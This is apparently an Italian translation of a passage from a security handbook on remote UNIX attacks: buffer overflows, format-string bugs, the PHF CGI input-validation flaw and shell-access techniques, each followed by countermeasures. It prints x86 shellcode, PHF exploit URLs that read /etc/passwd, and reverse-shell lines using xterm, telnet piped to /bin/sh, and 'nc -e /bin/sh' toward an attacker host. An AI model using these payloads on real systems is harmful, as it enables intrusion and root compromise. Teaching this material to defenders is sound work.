Invece di inviare al comando VRFY una serie di 1000 lettere "a", l'hacker potrebbe inviare un codice specifico che provoca il buffer overflow ed esegue il comando `/bin/sh`. Ricordate, a questo punto, che il servizio `sendmail` è attivo nel sistema come utente root, per cui il comando `/bin/sh` può essere eseguito, e l'hacker potrebbe avere accesso immediato come utente root. Potreste chiedervi in che modo `sendmail` sia in grado di determinare che deve essere eseguito il comando `/bin/sh`. Questo è molto semplice: quando ha inizio l'attacco, nella stringa inviata per creare l'errore di buffer overflow viene inclusa una specifica parte di codice assembly, detta "egg" (in inglese "uovo"). Quando il buffer VRFY va in errore, l'hacker può impostare il codice di ritorno della funzione appena trasmessa, in modo da alterare il normale flusso di esecuzione del programma originario. Invece di consentire al programma l'esecuzione della locazione di memoria appropriata verrà eseguito il codice assembly inviato come riempitivo del buffer, corrispondente alle istruzioni di esecuzione del comando `/bin/sh` con i privilegi del daemon (cioè di root). Fine della partita.
È molto importante ricordare che il codice assembly è fortemente dipendente dalla piattaforma hardware e dal sistema operativo: un buffer overflow studiato per Solaris X86 su piattaforma Intel è completamente differente da quello creato appositamente per Solaris, su piattaforma SPARC. Il listato che segue mostra una di queste "uova" scritta in codice assembly appositamente studiata per Linux su piattaforma X86:

```
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

A questo punto dovrebbe essere evidente che gli attacchi prodotti con buffer overflow sono molto pericolosi e spesso sfociano in una completa disfatta per la sicurezza di molti sistemi. Considerate che il nostro esempio è estremamente semplice: è veramente difficile riuscire a creare una stringa di buffer overflow perfettamente funzionante.
Esistono comunque diverse "uova", tutte dipendenti dal sistema per il quale sono state sviluppate, già sperimentate e liberamente disponibili via Internet. I processi che consentono di creare queste "sorpresine" non sono tuttavia tra le finalità di questo libro. Potete in ogni caso leggere l'articolo di Aleph One disponibile in inglese su *Phrack Magazine* (numero 49) all'indirizzo `http://www.codetalker.com/other/p49-14.html`.
In aggiunta, alla Teso hanno creato alcuni strumenti che generano automaticamente un codice di shell. Tra gli altri, segnaliamo Hellkit, disponibile all'indirizzo `http://teso.scene.at/releases.hellkit-1.2.tar.gz`.

Contromisure ai buffer overflow

Pratiche di programmazione sicura

La migliore contromisura per contrastare gli attacchi da buffer overflow consiste nell'adottare metodologie sicure di sviluppo del software. Sappiamo bene che è impossibile progettare e scrivere applicazioni completamente prive di errori, ma

è possibile seguire una serie di regole che riducono al minimo i rischi connessi ai buffer overflow. Il brevissimo prontuario che segue può essere preso come riferimento.

- Progettate le vostre applicazioni tenendo sempre in grande considerazione i requisiti di sicurezza. Molto spesso, per rispettare i tempi di consegna sempre più ristretti, i programmi vengono scritti in modo affrettato. La sicurezza è sempre l'ultimo aspetto che viene preso in considerazione e molto spesso viene addirittura accantonata. I produttori di software hanno quasi trascurato parte del codice che è stato rilasciato di recente; molti di questi sono consapevoli del fatto che questa trascuratezza nella gestione dello sviluppo sia presente e diffusa, ma spesso non si occupano di investire tempo e risorse per far fronte alle esigenze di sicurezza. Per maggiori informazioni potete consultare la FAQ del Secure UNIX Program (programma per la sicurezza in ambiente UNIX) al sito `http://www.whitefang.com/sup/index.html`.
- Prendete in considerazione la possibilità di utilizzare compilatori che offrono garanzie di sicurezza del codice generato, come per esempio Stack-Guard prodotto da Immunix (`http://immunix.org`). L'approccio di questo genere di compilatori consiste nel generare applicazioni che siano "immunizzate", per poter gestire con maggiore sicurezza l'impatto provocato dai buffer overflow. Altri meccanismi di difesa includono Libsafe (`http://www.avayalabs.com/project/libsafe/index/html`), il cui obiettivo è intercettare le chiamate di sistema vulnerabili. Per la descrizione completa delle funzionalità di Libsafe e dei dettagli di funzionamento di un buffer overflow, consultate il documento all'indirizzo `http://the.wire-tapped.net/security/host-security/libasafe/paper.html#sec:ex-ploit`. Ricordate che questi meccanismi non possono essere considerati una soluzione miracolosa ed è importante non lasciarsi cullare da un falso senso di sicurezza.
- Ogni volta che viene elaborato un parametro ricevuto da un utente o da un'altra applicazione, questo dovrebbe essere sempre validato. Alcuni programmi potrebbero risultare rallentati da questo eccesso di controlli, ma la sicurezza complessiva di ogni applicazione tende ad aumentare molto. I controlli devono includere la verifica della capienza di ciascuna variabile, prestando particolare attenzione alle variabili di ambiente.
- Utilizzate le funzioni più sicure del linguaggio C, come per esempio `fget()`, `strncpy()` e `strncat()`, verificando i codici restituiti dopo ciascuna chiamata.
- Riducete la quantità di codice eseguito con i privilegi dell'utente root, in modo da ridurre al minimo il numero di applicazioni che nel sistema sono attive come SUID root: se venisse portato a termine un attacco tramite buffer overflow, all'eventuale hacker sarebbe quantomeno necessario effettuare anche la scalata ai privilegi di root.
- Più importante di tutto, applicate tutte le patch di sicurezza disponibili per i programmi che utilizzate.

Test e monitoraggio di ciascun programma

È molto importante eseguire il test e il monitoraggio di funzionamento di ciascun programma. Molto spesso i programmatori non sono a conoscenza dei pericoli derivanti dalla condizione di buffer overflow; una terza parte è sicuramente in grado

di individuare i difetti del software con maggiore facilità. Uno dei migliori esempi di organizzazione che esegue test completi su codice UNIX è il progetto OpenBSD (www.openbsd.org), gestito da Theo de Raadt. La palestra OpenBSD continua ad analizzare il proprio codice sorgente e ha risolto migliaia di condizioni di buffer overflow, senza menzionare la risoluzione di moltissimi altri problemi relativi alla sicurezza del sistema. Grazie a questo continuo e metodico lavoro di revisione del proprio codice, OpenBSD si è creato la fama di essere il più sicuro tra i sistemi UNIX disponibili gratuitamente.

Disattivazione dei servizi inutilizzati o pericolosi

Continueremo a sottolineare questo aspetto durante tutto il capitolo. Vi invitiamo a disabilitare tutti i servizi che sono inutilmente attivi oppure che hanno caratteristiche di accentuata pericolosità per il sistema UNIX. Un intruso non può fare breccia nel sistema utilizzando un servizio non attivo. In aggiunta a questo, raccomandiamo l'utilizzo di TCP Wrappers (`tcpd`) e di `xinetd` (`http://www.synack.net/ xinetd/`) per applicare una lista di accessi controllati sistematicamente a ogni servizio, consentendo anche l'uso di funzioni avanzate di autenticazione. Sebbene non sia possibile includere qualunque servizio in queste funzionalità di "contenimento", tuttavia questi programmi di utilità sono in grado di fornire un sensibile miglioramento alla sicurezza globale del sistema. In aggiunta a questo, potete considerare la possibilità di utilizzare funzionalità integrate nel kernel che consentono di effettuare un filtro a livello di pacchetti di dati: queste funzioni sono disponibili nella maggior parte delle versioni UNIX gratuite (per esempio, `ipchains` o `netfilter` per Linux e `ipf` per BSD). Un documento interessante sull'utilizzo di `ipchains` per migliorare la sicurezza del sistema è disponibile all'indirizzo `http://www.tldp.org/HOWTO/IPCHAINS-HOWTO.html`. Per i kernel Linux 2.4 che si servono di `netfilter`, fate riferimento all'indirizzo `http://netfilter.org/unreliable-guides/netfilter-hacking-HOWTO/`. Il programma `ipf` scritto da Darren Reed è una delle migliori funzioni aggiuntive, e può essere utilizzato con diverse distribuzioni UNIX (tranne Linux). Per maggiori informazioni, vi rimandiamo a `http://www.obfuscation.org/ipf/ipf-howto.html`.

Disabilitare l'esecuzione dello stack

Alcuni puristi potrebbero rimanere attoniti di fronte a questa soluzione, che consiste nella disabilitazione completa dello stack, per avere la certezza completa che nessun programma abbia alcuna possibilità di andare incontro a errori di buffer overflow. Questa impostazione presenta alcuni effetti collaterali, ma è in grado di proteggere con efficacia i sistemi. Per Linux esistono patch che consentono la disabilitazione dell'esecuzione dello stack, disponibili per le versioni 2.0.*x* e 2.2.*x* del kernel (e in progetto anche per la versione 2.4) all'indirizzo `http://www.openwall.com/linux/` ed è principalmente il lavoro di Solar Designer. Inoltre, potete utilizzare la versione per Linux di Openwall, reperibile al sito Web `http://www.openwall.com/Owl/`e progettata per garantire la sicurezza fin dai livelli più bassi, mediante l'integrazione tra i molti canoni di sicurezza che Solar Designer ha fatto propri e un'accurata revisione del codice sorgente da parte dell'azienda produttrice.
Per quanto riguarda i sistemi Solaris 2.6, 7 e 8, consigliamo vivamente di abilitare le condizioni di esecuzione senza stack: questo consente di disabilitare, una volta per tutte, una serie di buffer overflow conosciuti relativi a Solaris. Anche se l'interfaccia binaria applicativa (ABI) dei processori SPARC e Intel richiede che sia obbligatoria l'autorizzazione di esecuzione dello stack, la maggior parte dei programmi potrà

funzionare correttamente anche disabilitandolo. Dobbiamo notare che l'installazione predefinita di Solaris 2.6, 7 e 8 abilita l'esecuzione dello stack. Per disabilitare questa funzione, è necessario aggiungere la seguente riga al file `/etc/system`:

```
set noexec_user_stack=1
set noexec_user_stack_log =1
```

Ricordate che la disabilitazione dell'esecuzione dello stack non è una panacea per tutti i mali, anche se comporterà la registrazione nel file di log di qualunque programma che tenti di eseguirlo, e taglierà la maggior parte degli hacker dilettanti. Un hacker esperto può essere in grado di progettare e realizzare attacchi che sfruttano una condizione di buffer overflow, anche in un sistema in cui l'esecuzione dello stack è disabilitata.

Mentre gli utenti sono costretti a operare in maniera inusitata per prevenire buffer overflow sugli stack, altri pericoli possono annidarsi nel codice di scarsa qualità. Anche se non attirano molto l'attenzione, gli overflow sull'heap sono altrettanto pericolosi, e consistono nell'esaurimento della memoria allocata dinamicamente da un'applicazione. Questa tecnica di overflow differisce da quella utilizzata per lo stack, che è un buffer di lunghezza fissa. Sfortunatamente, i produttori non dispongono di patch che consentano la disabilitazione dell'esecuzione dell'heap. Pertanto, è importante non lasciarsi cullare da un falso senso di sicurezza solo perché è stata disabilitata l'esecuzione dello stack. Per ottenere maggiori informazioni sugli overflow dell'heap, fate riferimento alle ricerche eseguite dal gruppo w00w00, disponibili all'indirizzo `http://www.w00w00.org/files/heaptut/heaptut.txt`.

Oltre alle contromisure sopraelencate, esistono i pacchetti di prevenzione contro le intrusioni, come Saint Jude, che possono essere utilizzati per bloccare gli attacchi: quest'ultimo (`http://prdownloads.sourceforge.net/stjude/`) è un modulo Linux per le serie di kernel 2.2.0 e 2.4.0, che implementa il modello Saint Jude per le cosiddette transazioni a privilegio improprio (`http://sourceforge.net/stjude/StJudeModel.pdf`). Questo paradigma di sicurezza consente di scoprire gli attacchi locali e remoti al loro verificarsi (per esempio, le condizioni di buffer overflow). Dopo averli individuati, Saint Jude termina la loro esecuzione, impedendo in tal modo che l'attacco possa interessare l'utente root. Questo comportamento ha luogo pur senza causare effetti simili a quelli degli attacchi già noti, consentendo a questa tecnica di essere valida anche per quelli non conosciuti.

Attacchi al formato delle stringa

Diffusione:	*8*
Semplicità:	*8*
Impatto:	*10*
Fattore di rischio:	*9*

Ogni tanto si presenta sulla scena della sicurezza un nuovo tipo di vulnerabilità: quelle che interessano il formato della stringa sono sempre state insite nel codice software per anni, ma la loro pericolosità non si è resa evidente prima della metà del 2000. Come già accennato, la tecnica del buffer overflow è stata documentata nel 1996: quella del formato stringa e il buffer overflow sono tecniche assai simili dal punto di vista del funzionamento, ed entrambe hanno origine da comportamenti di programmazione poco attenti.

Una vulnerabilità di formato stringa nasce da errori di programmazione poco evidenti nell'impiego della categoria di funzioni di formattazione, come `print(f)` e `sprintf()`. Un potenziale intruso potrebbe trarne vantaggio passando stringhe di testo accuratamente preparate, contenenti direttive di formattazione che, a loro volta, potrebbero far eseguire comandi di qualsiasi tipo al computer cui l'attacco è destinato. Ciò può implicare seri rischi di sicurezza, quando l'applicazione soggetta all'attacco è eseguita con i privilegi di root. Ovviamente, la gran parte dei potenziali hacker concentra gli sforzi nello sfruttamento delle vulnerabilità di formato stringa su programmi che richiedono il SUID root.
Le stringhe formattate sono estremamente utili, se utilizzate in modo opportuno: esse consentono di gestire l'output sulla base di un numero di argomenti dinamico, ognuno dei quali dovrebbe rispondere a una direttiva di formattazione della stringa. Questa operazione è svolta dalla funzione `printf()`, che esamina la stringa di formattazione alla ricerca dei caratteri `"%"`: quando ne trova uno, procede al recupero dell'argomento corrispondente tramite la libreria di funzioni `stdarg`. I caratteri che seguono sono considerati come direttive, che controllano che la variabile sia formattata come stringa di testo. Un esempio di questo meccanismo è la direttiva `%i` che formatta una variabile di tipo intero in un valore decimale leggibile: nel caso in esame, `printf("%i", val)`, visualizzerebbe la rappresentazione decimale di *val*. I problemi di sicurezza sorgono quando il numero delle direttive non corrisponde a quello degli argomenti: è essenziale notare che ogni argomento fornito per la formattazione viene conservato nello stack: se esistono più direttive rispetto agli argomenti forniti, tutti i dati successivi presenti nello stack saranno usati come argomenti. Per questo motivo, una discordanza delle direttive e degli argomenti genera un output errato.
Un altro problema si verifica quando un programmatore pigro si serve di una stringa fornita dall'utente per utilizzarla come stringa di formattazione, invece di ricorrere a funzioni di output di stringa più idonee. Un esempio di questa pratica di cattiva programmazione è la stampa o la visualizzazione della stringa contenuta nella variabile *buf*. Per esempio, per visualizzarla sullo schermo si potrebbe utilizzare semplicemente `puts(buf)`, oppure `printf("%s", buf)`. Un problema si verifica quando il programmatore non si attiene alle linee guida per le funzioni di output formattato. Malgrado gli argomenti successivi siano opzionali in `printf()`, il primo argomento *deve* essere sempre la stringa di formattazione: se invece di questa stringa è fornito un argomento passato dall'utente, come nel caso di `printf(buf)`, ciò potrebbe implicare seri rischi di sicurezza. Un utente potrebbe passare opportune direttive di formato, come `%x`, per visualizzare tutte le WORD presenti nello stack, e di fatto leggere i dati conservati in memoria.
La lettura dello spazio di elaborazione della memoria può già rappresentare un problema a sé stante: tuttavia è assai più devastante il caso dell'hacker che abbia la possibilità di scrivere in memoria. Fortunatamente per l'intrusore stesso, la funzione `printf()` ha la possibilità di scrivere direttamente in memoria. `printf()` non formatta né visualizza l'argomento corrispondente, ma interpreta l'argomento come indirizzo di memoria (posizione) di un intero, e conserva il numero di caratteri scritti fino a quella posizione. Un'altra possibilità offerta, per quanto riguarda il formato stringa, è posizionare i dati nello stack che dovrà essere elaborato dalle direttive di formato stringa dell'hacker stesso.
Questo risultato può essere raggiunto facilmente grazie a `printf` e al modo in cui la funzione gestisce la stessa elaborazione del formato stringa. I dati sono opportunamente posizionati nello stack, prima di essere elaborati: qualora fossero fornite sufficienti direttive aggiuntive nella stringa di formattazione, la stessa stringa sarebbe utilizzata come argomento per le sue stesse direttive.

Ecco un esempio di programma di attacco:

```
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
        char buf[2048] = { 0 };
        strncpy(buf, argv[1], sizeof(buf) - 1);
        printf(buf);
        putchar('\n');
        return(0);
}
```

Ed ecco lo stesso programma in azione:

```
[shadow $] ./code DDDD%x%x
DDDDbfffaa44444444
```

Si può notare che le `x` hanno formattato gli argomenti a dimensione intera nello stack, e che li hanno visualizzati in formato esadecimale; ma l'aspetto veramente interessante è l'output del secondo argomento, `44444444`, che è rappresentato in memoria come stringa `DDDD`, ossia la prima parte della stringa di formattazione fornita. Se si dovesse modificare la seconda `%x` in `%n`, potrebbe verificarsi un errore di segmentazione, dovuto al fatto che l'applicazione cerca di scrivere all'indirizzo `0x44444444`, anche se questo non è effettivamente scrivibile. Si verifica assai di frequente che un intruso scriva l'indirizzo di ritorno sullo stack: la sovrascrittura provoca il ritorno, da parte della funzione, di un segmento di codice dannoso, che l'hacker ha fornito con la stringa di formattazione. Come si può vedere, la situazione sta degenerando precipitosamente, ed è questo che rende gli attacchi al formato stringa così pericolosi.

Contromisure all'attacco al formato delle stringhe

Molti attacchi al formato stringa sfruttano il medesimo principio di quelli di tipo buffer overflow, che si riferiscono alla sovrascrittura del valore di ritorno restituito da una chiamata di funzione: molte delle contromisure valide per questi ultimi si possono applicare anche agli attacchi di formato stringa.
Inoltre, inizieremo a vedere altre misure che contribuiscono a proteggere contro gli attacchi al formato stringa. FormatGuard per Linux è implementato come integrazione di glibc, e fornisce una libreria di macro di `printf` in `stdio.h`, nonché alcune funzioni native come parte di glibc: è distribuito sotto licenza LGPL di glibc e può essere scaricato all'indirizzo `http://download.immunix.org/immunixOS/`.

Attacchi di validazione dell'input

Diffusione:	*8*
Semplicità:	*9*
Impatto:	*8*
Fattore di rischio:	*8*

Nel 1996 Jennifer Myers ha identificato e reso di pubblico dominio il famigerato punto vulnerabile PHF. Sebbene sia abbastanza datato, è un valido esempio di at-

tacco di validazione dell'input. Se siete in grado di comprendere il meccanismo di funzionamento di questo attacco, potrete applicare lo stesso principio ad altri attacchi della stessa categoria. Non ci fermeremo troppo a lungo su questo aspetto, poiché ne parleremo con maggior dettaglio nel Capitolo 15. Ci proponiamo di mostrare che cosa sia un attacco di validazione dell'input, e in quale modo un hacker possa riuscire a ottenere l'accesso a un sistema UNIX.
L'attacco alla validazione dell'input avviene nei seguenti casi.

- Un programma non riesce a riconoscere un input sintatticamente non corretto.
- Un modulo accetta input impropri.
- Un modulo fallisce nel momento in cui cerca di elaborare un input mancante.
- Viene generato un errore di correlazione relativo a un campo di input.

PHF è uno script CGI (*Common Gateway Interface*) che era presente nelle prime versioni del Web server Apache, e in NCSA HTTPD. Questo programma non interpretava nella maniera corretta l'input che riceveva: la versione originale dello script PHF accettava il carattere newline (`%0a`) ed eseguiva qualunque comando successivo, con le autorizzazioni dell'utente che stava eseguendo il servizio di server Web. L'attacco originale per PHF era semplicemente questo:

```
/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
```

Come potete vedere, l'unica operazione eseguita da questo attacco è il comando `cat` per visualizzare il file delle password `/etc/passwd`. Ovviamente questa informazione può essere utilizzata per risalire ai nomi utente e alle password cifrate, supponendo che il file delle password non sia cifrato. Nella maggior parte dei casi, qualunque hacker alle prime armi tenterà di utilizzare queste informazioni per avviare il crack del file delle password e per collegarsi successivamente al sistema. Un hacker più esperto potrebbe addirittura ottenere l'accesso diretto a una shell di sistema, come vi spiegheremo nel prosieguo di questo capitolo. Ricordate che questo difetto di PHF consentiva all'intruso di eseguire qualunque comando, usufruendo delle autorizzazioni dell'utente attribuito al servizio server Web. In molti casi tale utente è "nobody", ma esistono diversi siti che erano configurati per avviare il servizio Web server addirittura come root: un peccato mortale.
PHF è diventato un metodo di attacco ai sistemi molto famoso tra gli anni 1996 e 1997, e molti siti hanno pagato le conseguenze di questa esposizione a un attacco semplice ma efficace. Vogliamo farvi comprendere come sia stato possibile scoprire questo punto vulnerabile, per poter applicare in seguito questo stesso concetto ad altri attacchi alla validazione dell'input. In ambiente UNIX, esistono *metacaratteri* che sono utilizzati per scopi particolari. Ne fanno parte i simboli seguenti:

\ / < > ! $ % ^ & * | { } [ ] " ' " ~ ;

Se un programma o uno script CGI accetta l'input specificato dall'utente, senza effettuare una corretta validazione del dato, il programma o lo script possono essere ingannati, consentendo quindi l'esecuzione di codice arbitrario. Questo genere di comportamento è chiamato anche "sfuggire" al controllo di un programma, e di solito comporta il passaggio di qualche metacarattere UNIX come stringa in input al programma. Questo tipo di attacco è molto comune, e sicuramente non è limitato allo script PHF. Esistono moltissimi esempi di script CGI non sicuri, tutti forniti con l'installazione predefinita di molti Web server. La si-

tuazione è peggiorata dal fatto che queste applicazioni sono sviluppate da programmatori Web che di solito hanno poca esperienza nello sviluppo di applicazioni sicure. Sfortunatamente questo genere di attacchi è destinato a proliferare, dal momento che le applicazioni Web per il commercio elettronico sono sempre più complesse e ricche di funzionalità.

Contromisure per la validazione dell'input

Come abbiamo già accennato, l'unica misura di sicurezza valida è basata sulle buone metodologie di programmazione e questa regola vale anche per gli attacchi di validazione dell'input. È assolutamente importante assicurarsi che i programmi e gli script accettino solo i parametri per i quali sono stati costruiti e che rifiutino qualunque altra cosa venga loro passata. WWW Security FAQ (disponibile all'indirizzo `http://www.w3.org/Security/Faq/www-security-faq.zip`) è una notevole fonte di informazioni che può essere utilizzata per mantenere i programmi CGI sicuri. Sappiamo che è difficile scartare qualunque dato, perché prima o poi potreste perdervi qualche parametro utile. Potete inoltre monitorare e testare tutto il codice dopo la sua compilazione.

Voglio la mia shell

Ora che abbiamo illustrato i due principali metodi che consentono l'accesso remoto a un sistema UNIX, è necessario spiegare le diverse tecniche che vengono utilizzate per ottenere l'accesso alla shell. Dovete ricordare che il primo obiettivo di ogni hacker consiste nell'ottenere l'accesso a una riga di comando, o a una shell, del sistema che si vuole attaccare. Il metodo tradizionale per ottenere l'accesso a una shell di un server UNIX consiste nell'effettuare il login attraverso una sessione `telnet`, `rlogin` oppure `ssh`: è anche possibile eseguire comandi con `rsh`, `ssh` oppure `rexec`, senza eseguire una procedura di autenticazione interattiva. Potreste chiedervi, a questo punto, che cosa succede se i servizi di login remoto vengono disattivati oppure sono bloccati da un firewall. Come è possibile per un hacker ottenere l'accesso a un sistema protetto in questo modo? Buona domanda. Cerchiamo di ipotizzare una situazione ed esploriamo i diversi metodi che possono essere messi in pratica per raggiungere la shell del sistema UNIX. La Figura 7.1 li illustra.

Supponiamo che il nostro hacker stia cercando di introdursi in un server Web di tipo UNIX che risiede all'interno di una rete protetta da un firewall o da un router standard, che analizza i pacchetti che circolano sulla rete. In questo momento, non è importante specificare marca e modello di hardware o software, ma comprendere che il funzionamento del firewall è basato sull'instradamento dei pacchetti circolanti, e non svolge la funzione di proxy per alcun servizio: gli unici che possono liberamente circolare attraverso il router (o firewall) sono HTTP, sulla porta 80, e HTTP su SSL (HTTPS), sulla porta 443. Supponiamo ora che il server Web attivo sia vulnerabile a un attacco alla validazione dell'input, come abbiamo visto nel caso di PHF, menzionato in precedenza. Il server Web è attivo nel sistema con i privilegi dell'utente "nobody", pratica diffusa che è considerata una garanzia di sicurezza. Se l'hacker riesce a sfruttare il punto vulnerabile PHF sarà in grado di eseguire programmi e comandi sul server, qualificandosi come utente "nobody". La possibilità di eseguire il codice sul server è già una condizione critica, ma rappresenta solamente il primo passo per poter ottenere l'accesso interattivo a una shell di sistema.

Figura 7.1
Una semplice architettura segmentata.

Operation X

Diffusione:	*7*
Semplicità:	*3*
Impatto:	*8*
Fattore di rischio:	*6*

Dal momento che l'intruso è in grado di eseguire programmi e comandi sul server Web, attraverso l'attacco a PHF, una delle prime tecniche per ottenere l'accesso interattivo consiste nello sfruttamento delle funzionalità del sistema X Window di UNIX. X è il sistema di interfaccia grafica che consente a diversi programmi di condividere l'interfaccia grafica, permettendo ai programmi client X di visualizzare il loro output direttamente sulla console del server X, oppure di trasmetterlo a un server remoto, attivo sulle porte 6000-6063. Uno dei più proficui client X che gli hacker sfruttano è `xterm`, che viene utilizzato per avviare una shell locale di comando attraverso il server grafico X. Attivando l'opzione `-display` l'hacker è in grado di dirottare la shell di comando verso il server X del sistema remoto ottenendo l'accesso immediato.
Diamo una breve occhiata al metodo che può essere utilizzato da un hacker per sfruttare il difetto di PHF e ottenere qualcosa di più di una semplice visualizzazione del file `passwd`. Richiamiamo l'attacco PHF originale:

```
/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
```

Dal momento che l'intruso è in grado di eseguire comandi remoti sul server Web, una versione lievemente modificata di questo attacco può consentire l'accesso alla shell. L'unica modifica necessaria è il comando eseguito, che passa da `/bin/cat /etc/passwd` al comando `/usr/X11R6/bin/xterm -ut -display evil hackers IP:0.0`, come mostrato di seguito:

```
/cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20-
display%20evil_hackers_IP:0.0
```

Il server Web remoto esegue una sessione `xterm` e la trasmette per la visualizzazione al server X della macchina `evil_hackers` in corrispondenza dell'ID window 0 e dell'ID screen 0. L'hacker ha ora il controllo completo del sistema. Dal momento che viene specificata l'opzione `-ut`, questa attività non è registrata nel log di sistema del server Web. In aggiunta, viene utilizzato il carattere `%20`, che è l'equivalente esadecimale del carattere spazio, utilizzato per definire gli spazi necessari nelle righe di comando (per ulteriori informazioni, digitate `man ascii`). In questo modo l'hacker è in grado di ottenere l'accesso a una shell interattiva, senza registrare l'operazione in alcun log di servizio del server Web. Noterete che è anche stato utilizzato il percorso completo del programma eseguibile `xterm`. Questo dev'essere specificato perché è probabile che la variabile di ambiente PATH non sia impostata correttamente quando viene eseguito il comando. L'hacker si assicura, in questo modo, di poter rintracciare in ogni caso l'eseguibile `xterm` sul server Web.

Telnet inverso e canali di ritorno

Diffusione:	*5*
Semplicità:	*3*
Impatto:	*8*
Fattore di rischio:	*5*

Certamente `xterm` è un buon punto di partenza per ogni hacker, ma cosa succede se i superprotettivi amministratori di sistema rimuovono il server X dall'installazione di UNIX? Questa operazione può migliorare notevolmente le caratteristiche di sicurezza del sistema UNIX. Esistono però altri metodi che consentono di ottenere l'accesso al server oggetto dell'attacco: uno di questi consiste nella creazione di un canale di ritorno (*back channel*), che è un meccanismo tramite il quale il canale di comunicazione viene richiesto e creato dal sistema target e *non* dal sistema attaccante. Ricordate che nella situazione ipotizzata non è possibile ottenere l'accesso a una shell interattiva in senso tradizionale, perché tutte le porte di comunicazione (a parte 80 e 443) sono bloccate dal firewall. In questa situazione, l'hacker deve tentare di avviare una sessione dal server UNIX verso il proprio sistema, cercando appunto di costruire un canale di ritorno.

Per svolgere questa operazione possono essere utilizzati alcuni metodi. Il primo consiste nell'avviare una sessione di *telnet inverso*, utilizzando il comando `telnet` sul server Web, per costruire un canale di ritorno dal sistema UNIX attaccato alla macchina dell'hacker. Questa tecnica è chiamata "telnet inverso", proprio perché la connessione telnet viene generata dal sistema sul quale si sta cercando di stabilire un accesso alla shell.

Nella maggior parte dei sistemi UNIX è installata un'applicazione client `telnet`, molte volte non disattivata: `telnet` rappresenta la scelta perfetta per costruire un canale di ritorno, se il client `xterm` non è disponibile. Per eseguire una sessione di telnet inverso, l'hacker ha la necessità di attivare i programmi di utilità `netcat`, op-

pure nc sulla propria postazione. Dal momento che la sessione di telnet viene avviata dal sistema target, è necessario attivare nc, per essere in grado di accettare la richiesta di connessione proveniente dal server Web. A tale scopo dobbiamo eseguire i comandi seguenti in due diverse sessioni, per poter ricevere e attivare con successo le connessioni telnet inverse:

```
[tsunami]# nc -l -n -v -p 80
listening on [any] 80

[tsunami]# nc -l -n -v -p 25
listening on [any] 25
```

Assicuratevi che nessun altro servizio, come HTTPD o sendmail, sia in ascolto sulle porte 80 e 25. Se è già attivo un servizio, questo dev'essere disattivato con il comando kill, in modo che nc possa collegarsi con successo alle stesse porte. I due comandi nc attivano l'ascolto sulle porte 25 e 80 attraverso i parametri -l e -p, il parametro -v attiva la modalità verbose, ossia con l'emissione di descrizioni complete, mentre il parametro -n impedisce la risoluzione di indirizzi IP in nomi host.
Procedendo nel nostro esempio, possiamo attivare una sessione di telnet inverso, utilizzando il punto debole già trovato in PHF, per avviare il comando telnet sul server Web. Questo è il comando che è possibile avviare sul server:

```
/bin/telnet evil_hackers_IP 80 ¦ /bin/sh ¦ /bin/telnet evil_hackers_IP 25
```

Questa è la stringa completa che può essere eseguita attraverso l'attacco su PHF:

```
/cgi-bin/phf?Qalias=x%0a/bin/telnet%20evil_hackers_IP
%2080%20¦%20/bin/sh%20¦%20/bin/telnet%20evil_hackers_IP%2025
```

Forniamo una spiegazione per questa stringa, all'apparenza complessa. /bin/telnet evil_hackers_IP 80 esegue la connessione al programma nc in ascolto sulla porta 80: questo è il punto esatto in cui eseguiremo i comandi. Per rimanere in linea con i normali meccanismi di input/output UNIX, l'output standard e le pressioni di tasti sono trasferiti a /bin/sh, la shell Bourne; i risultati dei nostri comandi vengono inviati a /bin/telnet evil_hackers_IP 25. Lo scopo finale consiste in una sessione di telnet inverso che viene attivata in due diverse finestre. In questo esempio sono state selezionate le porte 80 e 25, perché su queste sono attivi servizi che in genere non vengono filtrati dalla maggior parte dei firewall. Potrebbero comunque essere selezionate due porte qualsiasi, considerando che il traffico in uscita dalla rete verso queste due porte deve essere consentito dal firewall.
Un altro metodo per creare un canale di comunicazione di ritorno consiste nell'utilizzare direttamente nc al posto di telnet, se l'eseguibile nc è già disponibile sul server, o può essere memorizzato in qualche modo (per esempio attraverso una sessione FTP anonima). Come abbiamo già affermato diverse volte, nc è uno dei migliori programmi di utilità disponibili, per cui non deve sorprendere molto il fatto che sia parte dell'installazione predefinita di molte distribuzioni freeware di UNIX: le probabilità di trovarlo disponibile su un dato sistema target sono via via sempre maggiori. D'altra parte, anche se nc è disponibile nel sistema da attaccare, non c'è alcuna garanzia che l'eseguibile sia stato compilato con l'opzione attiva #define GAPING_SECURITY_HOLE, necessaria per creare sessioni di comunicazione inversa attraverso il parametro -e. Nel nostro esempio supporremo che sul sistema target sia disponibile una versione di nc, con l'opzione menzionata poco sopra attivata.

Anche la creazione di un canale di ritorno con nc deve prevedere due passaggi distinti. Dobbiamo eseguire il comando seguente, per poter ricevere il canale nc inverso:

```
[tsunami]# nc -l -n -v -p 80
```

Una volta abilitata la sessione in ascolto, è necessario eseguire il seguente comando sul sistema remoto:

```
nc -e /bin/sh evil_hackers_IP 80
```

Questa è la stringa completa che può essere eseguita attraverso l'attacco su PHF:

```
/cgi-bin/phf?Qalias=x%0a/bin/nc%20-e%20/bin/sh%20evil_hackers_IP%2080
```

Quando il server Web ha eseguito la stringa riportata viene attivato un canale di ritorno che si occupa di restituire una shell, in questo caso `/bin/sh`, alla sessione in ascolto: ciò consente l'accesso istantaneo alla shell del sistema remoto, il tutto attraverso una connessione originata dal server target.

Contromisure ai canali di ritorno

È molto difficile riuscire a proteggersi con efficacia dagli attacchi di connessione inversa. Il consiglio migliore consiste nella prevenzione: mantenete i requisiti di sicurezza del sistema molto elevati, in modo da evitare la possibilità di attacchi di questo tipo. Disabilitate i servizi non necessari e applicate tutte le patch fornite dal produttore del vostro sistema UNIX e degli applicativi che utilizzate.
Potete anche mettere in pratica i seguenti consigli.

- Rimuovete il server X da qualunque sistema che richieda un elevato livello di sicurezza. Questa è un'ottima azione preventiva, che impedisce agli hacker di lanciare sessioni "inverse" di `xterm`, ed evita i rischi legati al fatto che utenti locali desiderosi di tentare la scalata all'utente root utilizzino punti deboli dei file binari del pacchetto X.
